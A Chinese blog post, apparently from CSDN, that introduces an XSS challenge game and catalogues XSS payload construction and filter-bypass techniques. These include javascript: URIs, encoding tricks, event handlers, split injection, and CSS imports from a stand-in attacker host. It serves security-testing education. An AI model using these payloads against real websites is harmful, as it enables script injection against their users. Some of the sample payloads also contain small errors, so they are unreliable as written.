XSS闯关游戏——准备阶段及一些xss构造方法

本文详细介绍XSS(跨站脚本)攻击的各种构造方法,包括利用HTML/JS标签、属性值、事件处理函数等进行攻击,同时探讨如何绕过常见过滤规则,适合安全测试人员学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

请先下载XSS闯关文件,解压后放在服务器的对应文件夹即可

 

在该闯关中,会在网页提示一个payload数值

payload,翻译过来是有效载荷


通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload

payload指安全测试数据,即在当前网页上输入后传入的有效数据数

 

xss构造方法

此段来自: 马开东博客  网址: http://www.makaidong.com


no.1 利用<>标记注射html/javascript

  如果用户能随心所欲引入<>标记,那他就能操作html标记,然后就能通过<script>标签插入js 恶意脚本了,例如:

  <script>alert('xss');</script>

  当然如果对"<>"和script等进行了过滤,上面这个就无法执行了

no.2 利用html标签属性值执行xss

  很多html标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入xss可乘之机,例如:

  <img src = "javascript:alert('xss');">

  这里即便对传入的参数过滤了<>,xss还是能发生(前提是该标签属性需要引用文件)

no.3 空格/回车/tab

  假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

  <img src = "java  script:alert('xss');" width=100>

  这里之所以能成功绕过,其实还得益于js 自身的性质:javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

  而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号

  像<img src = "javas

    cript:

    alert(/xss/); width=100> 同样能绕过

no.4 对标签属性值进行转码

  过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用

其他形式表示标签,脚本仍能解析却可以绕过过滤

  常见的编码方式有:html实体编码(&#ascii),十进制、十六进制、八进制编码,unicode编码及escape编码及使用string.fromcharcode(...)绕过

  因此<img src = "javascript&#116&#alert(/xss/);">可以实现绕过

  另外还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方

no.5 产生自己的事件  

  如果不能依靠属性进行跨站,那么还可以利用事件处理函数

  <input type = "button"  value = "click me" onclick="alert('click me')" />

  事件既能让js 脚本运行,自然也可以执行跨站,另外像onerror、onmouseover等都可利用的是事件处理函数

no.6 利用css跨站剖析

  之所以说css样式表是个很不错的载体,是因为css不需要嵌入到html代码中,可以直接从文件或其他地方进行引用. 另外css同样隐蔽、灵活,不过不同浏览器之间不能通用,如:

  <div style = "list-style-image:url(javascript:alert('xss'))">

  <link rel = "stylesheet" href = "http://www.xxx.com/atack.css">

  <style type = 'text/css'>@import url(http://www.xxx.com/xss.css);</style>

  <style>@import 'javascript:alert('xss');'</style>

no.7 扰乱过滤规则

  大小写混用:<img src = "javascript:alert(0);">

  不使用引号或者构造全角字符也能扰乱过滤规则

  还有像css中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

  <img src = "java/*javascript:alert('xss')*/script:alert(1);">

no.8 充分使用字符编码

  上面说到过编码,这里加以补充,除了像&#ascii,其实也可以采用&#0、&#00、&#000等形式,同样&#x6a的形式也是可以的

  <script>eval("\61\6c\65......");<script>

  如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

no.9 拆分跨站法

  拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

  <script>z='document.'</script>

  <script>z=+'write'("'</script>

  <script>z=z+'<script'</script>

  ......

  <script>eval(z)</script>   //eval函数可以将字符串的内容直接执行

  另外除了像上面多次提交,也可以引用其他变量如:eval(quserinfo.spacename)形式,由于quserinfo.spacename是可控变量,因此改变其值就可以绕过长度限制了

 


最后,遵守规则,明白什么地方可变,什么地方不可变

 

准备进入挑战


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值